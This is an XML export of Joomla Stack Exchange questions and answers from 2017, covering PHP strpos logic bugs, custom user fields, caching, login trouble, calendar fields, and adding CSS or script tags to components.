  <row Id="21632" PostTypeId="1" AcceptedAnswerId="21634" CreationDate="2017-09-28T16:35:12.663" Score="0" ViewCount="1007" Body="&lt;p&gt;Something is wrong with my code.  No matter what the &lt;code&gt;$_SERVER['REQUEST_URI']&lt;/code&gt; value is, &lt;code&gt;gkPageContent&lt;/code&gt; is always displayed.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (strpos($_SERVER['REQUEST_URI'], &quot;online&quot;) &amp;gt;= 0) {&#xA;    $left_col_class = &quot;gkPageContent&quot;;&#xA;}&#xA;elseif(strpos($_SERVER['REQUEST_URI'], &quot;student-login&quot;) &amp;gt;= 0)  {&#xA;    $left_col_class = &quot;showme&quot;;&#xA;    echo &quot;this is not sanjay&quot;;&#xA;}&#xA;elseif(strpos($_SERVER['REQUEST_URI'], &quot;my-account/orders&quot;) &amp;gt;= 0)  {&#xA;    $left_col_class = &quot;showme&quot;;&#xA;}&#xA;elseif(strpos($_SERVER['REQUEST_URI'], &quot;my-account/my-courses&quot;) &amp;gt;= 0)  {&#xA;    $left_col_class = &quot;showme&quot;;&#xA;}&#xA;elseif(strpos($_SERVER['REQUEST_URI'], &quot;my-account/fourm&quot;) &amp;gt;= 0)  {&#xA;    $left_col_class = &quot;showme&quot;;&#xA;}&#xA;elseif(strpos($_SERVER['REQUEST_URI'], &quot;student-login&quot;) &amp;gt;= 0)  {&#xA;    $left_col_class = &quot;showme&quot;;&#xA;}&#xA;elseif (strpos($_SERVER['REQUEST_URI'], &quot;student-login&quot;) &amp;gt;= 0)  {&#xA;    $left_col_class = &quot;showme&quot;;&#xA;}&#xA;else{&#xA;    echo &quot;dam thing&quot;;&#xA;}&#xA;&#xA;echo $left_col_class;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's a &lt;a href=&quot;https://3v4l.org/rlAKm&quot; rel=&quot;nofollow noreferrer&quot;&gt;demonstration&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why isn't  &lt;code&gt;strpos()&lt;/code&gt; evaluating the string as intended?&lt;/p&gt;&#xA;" OwnerUserId="11573" LastEditorUserId="12352" LastEditDate="2018-07-23T16:51:30.023" LastActivityDate="2018-07-23T16:51:30.023" Title="Why does strpos function in first condition always return true?" Tags="|php|conditional-statements|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21633" PostTypeId="2" ParentId="18654" CreationDate="2017-09-28T20:38:17.853" Score="0" Body="&lt;p&gt;&lt;em&gt;I absolutely agree with Richard B's first two paragraphs, but the parts after that are both outdated and too complicated except for quite skilled administrators (who wouldn't look up this question). So instead of heavily editing that answer (as I started doing, but then felt I was putting words in his mouth), I'll begin by repeating the two starting paragraphs, and go from there:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's almost always a mistake to change any of core Joomla, as patches and database fixes will delete your work.  Also, any third party extensions will expect the database structure to be as standard, and so it could cause conflicts there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The pre-made &lt;code&gt;jos_user_profiles&lt;/code&gt; database table is where your information must go.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Traditionally, for a simple purpose as yours you could (mis-/creatively )use the &quot;notes&quot; field that each user had, and use that as a marker/flag.&lt;/li&gt;&#xA;&lt;li&gt;The obvious/classical start is the &lt;code&gt;User - Profile&lt;/code&gt; plugin that's delivered with core Joomla, exactly for adding custom user fields. Just activate it and see what it can do; it has a backend where you can make each of those required/optional/disabled, separately while the user first registers, and later while they edit their profile data. If you're a terrible person, you then edit that plugin directly for your purpose, make a backup of it; and when an update inevitably obliterates your work (but NOT your data, safely in &lt;code&gt;jos_user_profiles&lt;/code&gt;), you re-install your backup. But if you're a reasonable person, you follow the &lt;a href=&quot;https://docs.joomla.org/Creating_a_profile_plugin&quot; rel=&quot;nofollow noreferrer&quot;&gt;Creating a Profile Plugin&lt;/a&gt; tutorial &lt;em&gt;(replacing each &lt;code&gt;profile5&lt;/code&gt; with a reasonably unique name; e.g., Alfred E. Neumann creates plugin &lt;code&gt;aenprofile&lt;/code&gt; from his initials; this naming convention avoids clashes except with say Albert E. Northwood's work)&lt;/em&gt;. That tutorial shows how to add a variety of fields, from text via dropdowns and a calendar to a 'Accept Terms of Service yes/no' EULA.  This is the classic approach; this is the way to go if you have a lot of fields to add and want to control their presentation and so forth. But this is too much work for your purpose I think (you'd have to still add an override via &lt;code&gt;[yourTemplateName] &amp;gt; overrides &amp;gt; com_users&lt;/code&gt; to hide it from the users, or less thoroughly via CSS with &lt;code&gt;display:none&lt;/code&gt; on the form field ID.&lt;/li&gt;&#xA;&lt;li&gt;However, if your website is updated to &lt;a href=&quot;https://www.joomla.org/announcements/release-news/5703-joomla-3-7-is-here.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla 3.7&lt;/a&gt; and beyond (and it absolutely should be; no excuses, except if you're using dangerously outdated third-party plugins or expensively-developed platform where the contractors disappeared), then you can use &lt;code&gt;custom fields'. They're right there, in the back-end: Click on&lt;/code&gt;Users' and in that dropdown you see &lt;code&gt;Fields&lt;/code&gt; and &lt;code&gt;Fieldgroups&lt;/code&gt;. The &lt;a href=&quot;https://docs.joomla.org/J3.x:Adding_custom_fields&quot; rel=&quot;nofollow noreferrer&quot;&gt;official documentation&lt;/a&gt; still lags (only discusses adding them to articles, contacts and contact forms, today 28-Sept-2017) but details how to add and the 15 available types. At first search, &lt;a href=&quot;https://www.joomlashack.com/blog/tutorials/custom-fields/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomlashack&lt;/a&gt; has a tutorial explicitly mentioning custom user fields; but there will be more, and it's quite straightforward so the article only boosts confidence, not really knowledge. I've personally not used these &lt;em&gt;(note &quot;custom fields&quot; is WordPress terminology, you may want to search both with and without &quot;custom&quot; in your question)&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="5202" LastActivityDate="2017-09-28T20:38:17.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21634" PostTypeId="2" ParentId="21632" CreationDate="2017-09-28T23:28:53.010" Score="1" Body="&lt;p&gt;Strpos returns false if a value is not found.  False is treated the same as 0.  That means &lt;code&gt;&amp;gt;= 0&lt;/code&gt; will always be true.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change that to &lt;code&gt;!= false&lt;/code&gt; and it should work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, Lodder's comment is correct - you should be using Joomla's api and framework for a Joomla site, assuming you are posting in the correct forum (and if not, you might want to look at &lt;code&gt;switch&lt;/code&gt; instead of lots of messy elseifs).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Getting the &lt;a href=&quot;https://stackoverflow.com/questions/19067435/joomla-get-menu-item-id&quot;&gt;itemid&lt;/a&gt; will probably do what you want.&lt;/p&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2017-09-28T23:28:53.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21635" PostTypeId="1" AcceptedAnswerId="22246" CreationDate="2017-09-29T08:37:09.550" Score="2" ViewCount="537" Body="&lt;p&gt;According to &lt;a href=&quot;https://docs.joomla.org/Using_caching_to_speed_up_your_code&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Using_caching_to_speed_up_your_code&lt;/a&gt; ,I must use &lt;code&gt;$cache-&amp;gt;cleanCache();&lt;/code&gt; if I want to clear the joomla cache in my custom script. &#xA;That function throws the error &quot;does not have a method cleanCache&quot;. &#xA;As far as I could see in the API, the new method is called &quot;clean&quot;. However, that also doesn't clear the cache (I can still see the cache files via ftp).&#xA;Is is something that is broken?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using Joomla 3.7.3&lt;/p&gt;&#xA;" OwnerUserId="8766" LastActivityDate="2018-01-16T04:29:17.487" Title="class 'JCache' does not have a method 'cleanCache'" Tags="|joomla-3.x|cache|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21639" PostTypeId="2" ParentId="21401" CreationDate="2017-09-30T02:53:11.743" Score="3" Body="&lt;p&gt;It looks like &lt;a href=&quot;http://www.rockettheme.com/forum/gantry-solved-threads/272109-solved-updating-gantry-fatal-error&quot; rel=&quot;nofollow noreferrer&quot;&gt;the last version of Gantry 4 that is supported on Joomla 2.5 is v4.1.32&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can download Gantry v4.1.32 from:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://gantry4.s3.amazonaws.com/releases/gantry_joomla_framework-4.1.32.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://gantry4.s3.amazonaws.com/releases/gantry_joomla_framework-4.1.32.zip&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Upgrade to Gantry v4.1.32, &lt;a href=&quot;http://joomla.stackexchange.com/a/18953/120&quot;&gt;migrate your Joomla 2.5 website to Joomla 3.x&lt;/a&gt; and then upgrade to the latest version of Gantry 4.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2017-12-15T13:46:50.680" LastActivityDate="2017-12-15T13:46:50.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21640" PostTypeId="2" ParentId="9141" CreationDate="2017-09-30T10:04:52.210" Score="0" Body="&lt;p&gt;You have to create a system plugin that acts as api.&#xA;Joomla has function to login programmatically. You can check the existing plugin user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course you have to protect the API with shared secret key between to servers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Probably you have to store on mobile the session and add it to every request.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have done it to integrate whmcs with joomla.&#xA;I don't actually remember because I did it long time ago.&lt;/p&gt;&#xA;" OwnerUserId="8936" LastActivityDate="2017-09-30T10:04:52.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21641" PostTypeId="2" ParentId="15304" CreationDate="2017-09-30T12:02:04.203" Score="0" Body="&lt;p&gt;For &lt;code&gt;Category view&lt;/code&gt; in file &lt;code&gt;default_children.php&lt;/code&gt; after tag &lt;code&gt;&amp;lt;li...&lt;/code&gt; add code: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php&#xA;&#xA;    // Get Category Model data&#xA;    $categoryModel = JModelLegacy::getInstance('Category', 'ContactModel', array('ignore_request' =&amp;gt; true));&#xA;&#xA;    $categoryModel-&amp;gt;setState('category.id', $child-&amp;gt;id);&#xA;    $categoryModel-&amp;gt;setState('list.ordering', 'a.name');&#xA;    $categoryModel-&amp;gt;setState('list.direction', 'asc');&#xA;    $categoryModel-&amp;gt;setState('filter.published', 1);&#xA;&#xA;    $contacts = $categoryModel-&amp;gt;getItems();&#xA;&#xA;    ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For &lt;code&gt;Custom Fields&lt;/code&gt; add first line after previus code, and in cycle get custom field for each contact:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JLoader::register('FieldsHelper', JPATH_ADMINISTRATOR . '/components/com_fields/helpers/fields.php');&#xA;foreach($contacts as $contactItem) {&#xA;    $currentContFields[] = FieldsHelper::getFields('com_contact.contact', $contactItem, true);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11613" LastEditorUserId="11613" LastEditDate="2017-10-01T10:48:13.117" LastActivityDate="2017-10-01T10:48:13.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21642" PostTypeId="1" CreationDate="2017-09-30T12:34:37.663" Score="0" ViewCount="190" Body="&lt;p&gt;Am unable to login to my joomla site al of the sudden despite having the right credentials. I have changed the password via my phpadmin but in Vain. I tested it with wrong/non existent logins and am able to get the error message that username/password are not valid. However when I use valid logins, the site just refreshes and brings back the login panel. I have cross checked my configuration file and all looks okay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some one please help out.&lt;/p&gt;&#xA;" OwnerUserId="11614" LastActivityDate="2024-02-07T09:08:16.047" Title="Unable to Login to my Joomla Site" Tags="|joomla-3.x|login|" AnswerCount="3" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="21643" PostTypeId="1" CreationDate="2017-09-30T13:38:31.573" Score="3" ViewCount="169" Body="&lt;p&gt;I am trying to tweak a module based on Joomshopping, a shopping cart extension.&#xA;The module is called &quot;mod_jshopping_categories&quot;, I want to add a field that is a dropdown list of the product categories into the module's admin page. Here is what I added to the .xml file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field&#xA;  name=&quot;Parent Category&quot;&#xA;  type=&quot;category&quot;&#xA;  default=&quot;0&quot;&#xA;  label=&quot;Parent Category&quot;&#xA;  description=&quot;Put in category&quot;&#xA;  extension=&quot;com_jshopping&quot;&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, on the back end the dropdown list is empty. To test, I change &quot;com_jshopping&quot; to &quot;com_content&quot;, the back end correctly shows a list of article categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to the &lt;a href=&quot;https://docs.joomla.org/Category_form_field_type&quot; rel=&quot;nofollow noreferrer&quot;&gt;documentation&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;type (mandatory)&lt;/strong&gt; must be category.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;extension (mandatory)&lt;/strong&gt; is the name of the extension for which the&#xA;  categories will be retrieved. For example, to list content categories,&#xA;  use the value 'com_content'.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Does this mean there is no &quot;category&quot; in com_jshopping for the module to retrieve?   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, as a shopping cart extension, com_jshopping does have product categories. So how is this &lt;code&gt;category&lt;/code&gt; defined programmatically? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I need to create a custom field type to retrieve com_jshopping's categories? &lt;/p&gt;&#xA;" OwnerUserId="5680" LastEditorUserId="126" LastEditDate="2017-12-13T17:29:31.083" LastActivityDate="2019-05-08T00:03:40.740" Title="Module field type category not working" Tags="|form-fields-types|custom-module|module-params|joomshopping|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21644" PostTypeId="1" CreationDate="2017-09-30T15:42:31.407" Score="2" ViewCount="755" Body="&lt;p&gt;I am trying to populate the calendar form field by using jQuery based on the values of other field. I am using &lt;code&gt;JHTML::calendar&lt;/code&gt; for this. When the value is set via &lt;code&gt;php&lt;/code&gt; everything works fine for me. But when I try to set it via &lt;code&gt;jQuery&lt;/code&gt;, it shows the value but when hit submit, the field becomes blank. Although, when I use tab (or focus) then date value saves properly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Following is my code - &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Via PHP&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if($session-&amp;gt;get('ssdate')): $dateValue = $session-&amp;gt;get('ssdate'); endif; ?&amp;gt;&#xA;&amp;lt;?php echo JHTML::calendar($dateValue, 'sdate', 'sdate', '%d-%m-%Y'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Via jQuery&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//data.match_date is in format 01-10-2017&#xA;jQuery('#rq_form input[name=sdate]').val(data.match_date);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I referred to this post and tried chaning the format to yyyy-mm-dd and set the value but again it goes blank.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Reference: &lt;a href=&quot;https://github.com/jquery/jquery-mobile/issues/2755&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/jquery/jquery-mobile/issues/2755&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Change date format and set value&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var d = new Date(jQuery('#rq_form input[name=sdate]').val()),&#xA;var dateValue = d.split(&quot;-&quot;).reverse().join(&quot;-&quot;);&#xA;//dateValue format = 2017-10-01&#xA;&#xA;jQuery('#rq_form input[name=sdate]').val(dateValue);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7632" LastActivityDate="2018-12-06T15:53:05.817" Title="Populate Joomla Calendar field by jQuery not working" Tags="|jquery|calendar|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21645" PostTypeId="1" CreationDate="2017-09-30T23:34:23.340" Score="2" ViewCount="512" Body="&lt;p&gt;In the example below, the loaded script will appear in the 'head' with a plain 'script' tag but how do I add an id into the declaration so the result is something like 'script id=&quot;my-script&quot;'&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$document-&amp;gt;addScriptDeclaration('&#xA;    window.event(&quot;domready&quot;, function() {&#xA;        alert(&quot;An inline JavaScript Declaration&quot;);&#xA;    });&#xA;');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1985" LastEditorUserId="11451" LastEditDate="2017-10-07T12:26:00.673" LastActivityDate="2017-10-07T12:26:00.673" Title="How do I add &quot;id&quot; to script declaration" Tags="|javascript|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21646" PostTypeId="2" ParentId="21645" CreationDate="2017-10-01T01:14:04.970" Score="3" Body="&lt;p&gt;JDocument has a method for inserting arbitrary characters into the head tag. People usually use it for meta tags etc. It's down the bottom of this page: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/J3.x:Adding_JavaScript_and_CSS_to_the_page&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Adding_JavaScript_and_CSS_to_the_page&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$document = JFactory::getDocument();&#xA;$document-&amp;gt;addCustomTag( '&amp;lt;script id=&quot;my-script&quot;&amp;gt;window.event(&quot;domready&quot;, function() { alert(&quot;An inline JavaScript Declaration&quot;); });&amp;lt;/script&amp;gt;' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2017-10-01T01:14:04.970" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21648" PostTypeId="1" AcceptedAnswerId="21649" CreationDate="2017-10-01T18:30:29.517" Score="3" ViewCount="1115" Body="&lt;p&gt;I am working on a Joomla component, which includes hyperlinks. I'd like to include the URLs for the links in the configuration of the component. Therefore I added a &lt;code&gt;config.xml&lt;/code&gt; to the main directory with the form fields for the URLs.&lt;br&gt;&#xA;The xml for the fields looks like this:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field &#xA;    name=&quot;url-json&quot; &#xA;    type=&quot;url&quot; &#xA;    class=&quot;inputUrl&quot;&#xA;    default=&quot;http://www.website...&amp;amp;amp;option=A&amp;amp;amp;id=1234&quot; &#xA;    label=&quot;COM_CUSTOM_CONFIG_LABEL&quot; &#xA;    description=&quot;COM_CUSTOM_CONFIG_DESC&quot; &#xA;    size=&quot;50&quot; &#xA;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have multiple URLs and the important part are the query parameters. I set the size to &lt;code&gt;size=&quot;50&quot;&lt;/code&gt; but that is overriden by CSS and all the input fields have the same width. This way one can not see the query parameters of the URLs, since the are cut off.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to add custom CSS to make the text fields wider? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already added &lt;code&gt;class=&quot;inputUrl&quot;&lt;/code&gt; to the fields, but I don't know where I would add the CSS rules for it. Can I &lt;code&gt;$document-&amp;gt;addStyleDeclaration( $style );&lt;/code&gt; somewhere to load styles just for the config page of my component?      &lt;/p&gt;&#xA;" OwnerUserId="11618" LastActivityDate="2017-10-02T18:35:29.350" Title="How to add CSS to component settings?" Tags="|component|css|component-configuration|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21649" PostTypeId="2" ParentId="21648" CreationDate="2017-10-01T22:51:56.980" Score="2" Body="&lt;p&gt;There are a couple of alternatives.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;A Plugin.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You can add styles or a style sheet into the administrator using the technique here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/21462/how-to-add-custom-js-css-file-without-modifying-the-template-from-extension?rq=1&quot;&gt;How to add custom JS/CSS file, without modifying the template (from extension)?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using $app-&gt;isClient('administrator') will allow you to add css just to the administrator. If you really want to load only on your page you can dig into the jinput as much as you want to get specific. eg.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class plgSystemRandomname extends JPlugin&#xA;{&#xA;   function onBeforeCompileHead()&#xA;   {&#xA;       $doc = JFactory::getDocument();&#xA;       $app = JFactory::getApplication();&#xA;&#xA;       if ($app-&amp;gt;isClient('administrator')){&#xA;&#xA;           $jinput = $app-&amp;gt;input;&#xA;           $option = $jinput-&amp;gt;get('option','','CMD');&#xA;           $component = $jinput-&amp;gt;get('component','','CMD');           &#xA;           if($option == &quot;com_config&quot; &amp;amp;&amp;amp; $component == &quot;com_yourcomponent&quot;){&#xA;               $doc-&amp;gt;addStyleDeclaration('.inputUrl{width:90% !important;}');&#xA;           }&#xA;      }&#xA;   }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that isClient is J3.7+ only.&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;A custom form field&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Believe it or not, by using a custom form field you can insert anything you wish into a jform where you're otherwise limited to the xml schema.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Creating_a_custom_form_field_type&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Creating_a_custom_form_field_type&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you've set your field path in the xml config eg.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;fieldset name=&quot;basic&quot; addfieldpath=&quot;components/com_something/fields&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can then include a custom form field eg.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;customscript&quot; type=&quot;customscript&quot; label=&quot;&quot; description=&quot;&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then your actual form field code in components/com_something/fields/customscript.php looks something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die('Restricted access');&#xA;&#xA;jimport('joomla.form.formfield');&#xA;&#xA;class JFormFieldCustomscript extends JFormField {&#xA;&#xA;    protected $type = 'customscript';&#xA;&#xA;    public function getInput() {&#xA;        return '&amp;lt;style&amp;gt;.inputUrl{width:90% !important;}&amp;lt;/style&amp;gt;';&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7374" LastEditorUserId="7374" LastEditDate="2017-10-02T07:41:11.017" LastActivityDate="2017-10-02T07:41:11.017" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21651" PostTypeId="1" CreationDate="2017-10-02T12:38:15.910" Score="1" ViewCount="733" Body="&lt;p&gt;Hey guys i just have the question how i could remove the name, subject or Message field at the contact form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i know they are located in &lt;code&gt;/templates/.../html/com_contact/contact/default_form.php&lt;/code&gt; but when i remove the fields just in the layout i couldn't send the form cause of the required fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here you can find some more information where i got it from &quot;&lt;a href=&quot;https://joomla.stackexchange.com/questions/4426/how-can-i-completely-and-safely-remove-the-subject-field-in-com-contact&quot;&gt;How can I completely and safely remove the subject field in com_contact?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The probem is the file components/com_contact/models/forms/contact.xml doesnt have anymore the code for &lt;code&gt;contact_subject&lt;/code&gt;. so anyone know how i could solve this with joomla 3.8?&lt;/p&gt;&#xA;" OwnerUserId="11619" LastActivityDate="2017-10-02T12:38:15.910" Title="How can I remove the subject field in com_contact?" Tags="|contact-form|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21652" PostTypeId="1" CreationDate="2017-10-02T14:32:19.993" Score="2" ViewCount="433" Body="&lt;p&gt;My site's ttfb is very high. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.farafan-market.ir/&quot; rel=&quot;nofollow noreferrer&quot;&gt;www.farafan-market.ir&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used to use JCH-optimize plugin to enhance the page load. Then when I enabled Joomla's system-cache plugin, TTFB reduced to less than 1 second. But then after a while suddenly it got up to 3 or more seconds. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What ways are there to analyse TTFB in a Joomla site?&#xA;How can I realize what component or what part of the site causes this?&lt;/p&gt;&#xA;" OwnerUserId="8738" LastEditorUserId="126" LastEditDate="2019-09-23T07:33:36.660" LastActivityDate="2019-09-23T07:33:36.660" Title="Ways to analyse TTFB for a Joomla site" Tags="|joomla-3.x|seo|server-response-time|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21653" PostTypeId="2" ParentId="21642" CreationDate="2017-10-02T17:26:20.453" Score="0" Body="&lt;p&gt;I've tried it before.&lt;/p&gt;&#xA;&lt;p&gt;Sometimes it was enough to delete files from the browser cache. Sometimes another browser and sometimes to set set the cookie domain and path in the configuration.php&lt;/p&gt;&#xA;" OwnerUserId="11136" LastEditorUserId="12352" LastEditDate="2022-12-07T21:40:27.787" LastActivityDate="2022-12-07T21:40:27.787" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21654" PostTypeId="1" CreationDate="2017-10-02T17:59:40.620" Score="2" ViewCount="568" Body="&lt;p&gt;I've been reading over Joomla development documentation for awhile, but haven't picked up as much as I would like. What I'm trying to accomplish seems very simple on the surface, but navigating the Joomla framework is quite a challenge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm curious how difficult it would be, or if it's even possible, to create a plugin that can add an additional menu item to a component. This menu item would either just be a link that would simply export a custom database query I made for this component into CSV, or it would display a view that would possibly have a button to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can a plugin be used in this capacity? Specifically, can a plugin even add menu items to a component? (I feel like I've seen this happen before with plugins I've downloaded).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, can a plugin access the &quot;model&quot; of a component and create a custom sql query to pull the specific combination of database fields I'm seeking to retrieve from that component's database tables?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is what I'm trying to accomplish better accomplished another way (component override maybe)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry if I sound like a complete novice. My Joomla development so far has been handicapped by using cheats like the component called &quot;Jumi&quot;, which let's you embed PHP code directly into your Joomla articles. However, I would really like to learn how to do things the right way using the Joomla developer framework.&lt;/p&gt;&#xA;" OwnerUserId="11620" LastEditorUserId="9459" LastEditDate="2017-10-04T21:25:27.570" LastActivityDate="2017-10-04T21:25:27.570" Title="Creating a Component menu item via a Plugin" Tags="|joomla-3.x|plugin|custom-component|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
